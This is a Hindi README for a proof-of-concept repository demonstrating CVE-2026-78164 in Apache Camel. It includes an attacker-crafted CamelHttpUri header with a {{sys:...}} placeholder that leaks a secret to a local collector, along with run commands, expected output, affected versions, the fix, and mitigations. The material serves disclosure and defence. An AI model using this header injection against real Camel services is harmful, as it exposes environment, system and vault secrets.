
CVE-2026-78164 के लिए रन करने योग्य प्रूफ-ऑफ-कॉन्सेप्ट, जो यह प्रदर्शित करता है कि Apache Camel HTTP प्रोड्यूसर द्वारा हमलावर-आपूर्ति किए गए CamelHttpUri हेडर में प्रॉपर्टी प्लेसहोल्डर को रिज़ॉल्व करते समय सीक्रेट लीक कैसे होता है।
Apache Camel भेद्यता के लिए चलाने योग्य प्रूफ-ऑफ-कॉन्सेप्ट पुनरुत्पादक, जहाँ HTTP producer परिवार आने वाले संदेश को CamelHttpUri और CamelRestHttpUri हेडर के माध्यम से endpoint URI को ओवरराइड करने देते हैं, और फिर उस संदेश-प्रदत्त स्ट्रिंग को उपयोग करने से पहले CamelContext.resolvePropertyPlaceholders() के माध्यम से पास कर देते हैं।
प्रॉपर्टी-प्लेसहोल्डर रिज़ॉल्यूशन एक कॉन्फ़िगरेशन-रिज़ॉल्यूशन सुविधा है, URI-पार्सिंग चरण नहीं। यह ऑपरेटिंग-सिस्टम पर्यावरण चर, JVM सिस्टम प्रॉपर्टीज़, classpath पर मौजूद प्रत्येक PropertiesFunction (AWS, Azure, GCP, HashiCorp, IBM, CyberArk और Kubernetes secret फ़ंक्शन सहित) तक पहुँचता है और — camel-bean के माध्यम से — रजिस्ट्री में किसी भी bean पर बिना-आर्ग्युमेंट वाली विधि के आह्वान तक। इसे आक्रमणकर्ता-प्रभावित Exchange सामग्री पर लागू करना एक URI स्ट्रिंग को कॉन्फ़िगरेशन- और bean-मूल्यांकन संदर्भ में बदल देता है। किसी रूट लेखक ने इसमें से कुछ भी चुना नहीं था: एक सादा स्थिर to("http://backend/api") पर्याप्त था।
| रनटाइम | निर्देशिका | स्टैक |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-http 4.22.0 (प्रभावित; ठीक किया गया 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-http 3.29.0 (Camel 4.15.0, प्रभावित) |
यह व्यवहार 4.x श्रृंखला से पहले का है (यह camel-http4 / camel-netty4 तक जाता है), इसलिए प्रत्येक प्रभावित रिलीज़ और नवीनतम Camel Quarkus में मौजूद Camel 4.15.0 भेद्य हैं। फ़िक्स Camel 4.18.5 / 4.22.1 / 4.23.0 में आता है; Spring Boot मॉड्यूल प्रभावित बिल्ड (4.22.0) और ठीक किए गए बिल्ड (4.22.1) दोनों को चलाता है। अभी तक कोई भी जारी Camel Quarkus ठीक किए गए Camel को बंडल नहीं करता।
रूट एक सादा स्थिर to("http://127.0.0.1:9100/collect") है जो एक स्थानीय कलेक्टर की ओर इंगित करता है। आक्रमणकर्ता CamelHttpUri हेडर को एक प्रॉपर्टी-प्लेसहोल्डर टोकन वाले URI पर सेट करता है — गुप्त मान जाने बिना, केवल कुंजी का नाम लेकर:
CamelHttpUri: http://127.0.0.1:9100/collect?leak={{sys:cve78164.secret}}
ऐप किसी भी कॉन्फ़िगरेशन मान या वॉल्ट सीक्रेट के प्रतिनिधि के रूप में एक JVM सिस्टम प्रॉपर्टी cve78164.secret सीड करता है। प्रभावित बिल्ड पर प्रोड्यूसर अनुरोध भेजे जाने से पहले प्लेसहोल्डर को रिज़ॉल्व कर देता है, इसलिए कलेक्टर आउटबाउंड क्वेरी में सीक्रेट देख लेता है। ठीक किए गए बिल्ड पर टोकन शाब्दिक रूप से फ़ॉरवर्ड किया जाता है।
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
प्रभावित बिल्ड पर अपेक्षित आउटपुट:
Outbound request observed by the collector:
GET /collect?leak=S3CR3T-cve78164-do-not-leak
>>> PROVEN: the {{sys:...}} placeholder in the attacker-supplied CamelHttpUri was resolved,
>>> expanding the secret 'S3CR3T-cve78164-do-not-leak' into the outbound request.
निश्चित बिल्ड पर कलेक्टर इसके बजाय GET /collect?leak={{sys:cve78164.secret}} देखता है (शाब्दिक, हल नहीं किया गया)।
| गुण | मान |
|---|---|
| घटक | camel-http / camel-http-common / camel-vertx-http / camel-undertow / camel-netty-http |
| CWE | CWE-1336 (टेम्पलेट इंजन में प्रयुक्त विशेष तत्वों का अनुचित निष्प्रभावीकरण), CWE-200 (सूचना प्रकटीकरण) |
| गंभीरता | उच्च |
| आक्रमण सदिश | CamelHttpUri / CamelRestHttpUri ओवरराइड हेडर जिसमें {{...}} टोकन होता है; बॉडी/हेडर bridgeEndpoint द्वारा सीमित नहीं होते हैं, और कई उपभोक्ता रिवर्स-प्रॉक्सी सुविधा के रूप में अनुरोध पंक्ति से CamelHttpUri को पॉप्युलेट करते हैं |
| प्रभाव | आउटबाउंड अनुरोध में पर्यावरण चर, सिस्टम गुण और वॉल्ट रहस्यों का विस्तार; रजिस्ट्री बीन्स का बिना-तर्क आह्वान; प्रतिध्वनित त्रुटि के माध्यम से सेट/अनसेट कॉन्फ़िग कुंजी ओरेकल |
| प्रभावित संस्करण | 4.0.0 से 4.18.5 से पहले, 4.19.0 से 4.22.1 से पहले (व्यवहार 4.x से पहले का है) |
| निश्चित संस्करण | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24418 |
| श्रेय | [email protected] |
सलाह: https://camel.apache.org/security/CVE-2026-78164.html
प्रति-संदेश resolvePropertyPlaceholders() कॉल को प्रत्येक प्रभावित स्थान से हटा दिया गया है, ताकि {{...}} टोकन जो
केवल CamelHttpUri या CamelRestHttpUri में दिखाई देता है, अब URI का शाब्दिक भाग माना जाता है। रूट के अपने एंडपॉइंट URI में प्लेसहोल्डर अप्रभावित हैं — वे एक बार, बिल्ड समय पर, जब एंडपॉइंट बनाया जाता है, हल किए जाते हैं।
निर्माता से पहले विश्वास सीमा पर ओवरराइड हेडर को removeHeader("CamelHttpUri") और
removeHeader("CamelRestHttpUri") के साथ हटा दें, या camel-http एंडपॉइंट पर skipControlHeaders=true सेट करें (एकमात्र घटक
जो यह विकल्प प्रदान करता है)। bridgeEndpoint=true कोई समाधान नहीं है। अविश्वसनीय प्रेषकों के संपर्क में आने वाले उपभोक्ताओं पर एक सख्त इनबाउंड HeaderFilterStrategy
लागू करें, और रहस्यों को env/सिस्टम गुणों के बजाय वॉल्ट के माध्यम से हल करें
जिन्हें प्लेसहोल्डर नाम दे सकता है।
यह रिपॉजिटरी शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रकाशित की गई है: Apache Camel उपयोगकर्ताओं को भेद्यता समझने, यह सत्यापित करने कि क्या वे प्रभावित हैं, और यह पुष्टि करने में मदद करने के लिए कि अपग्रेड करने से यह हल हो जाता है। "रहस्य" एक निष्क्रिय स्थानीय फिक्सचर है। इस सामग्री का उपयोग उन सिस्टम के विरुद्ध न करें जिनके आप स्वामी या संचालक नहीं हैं।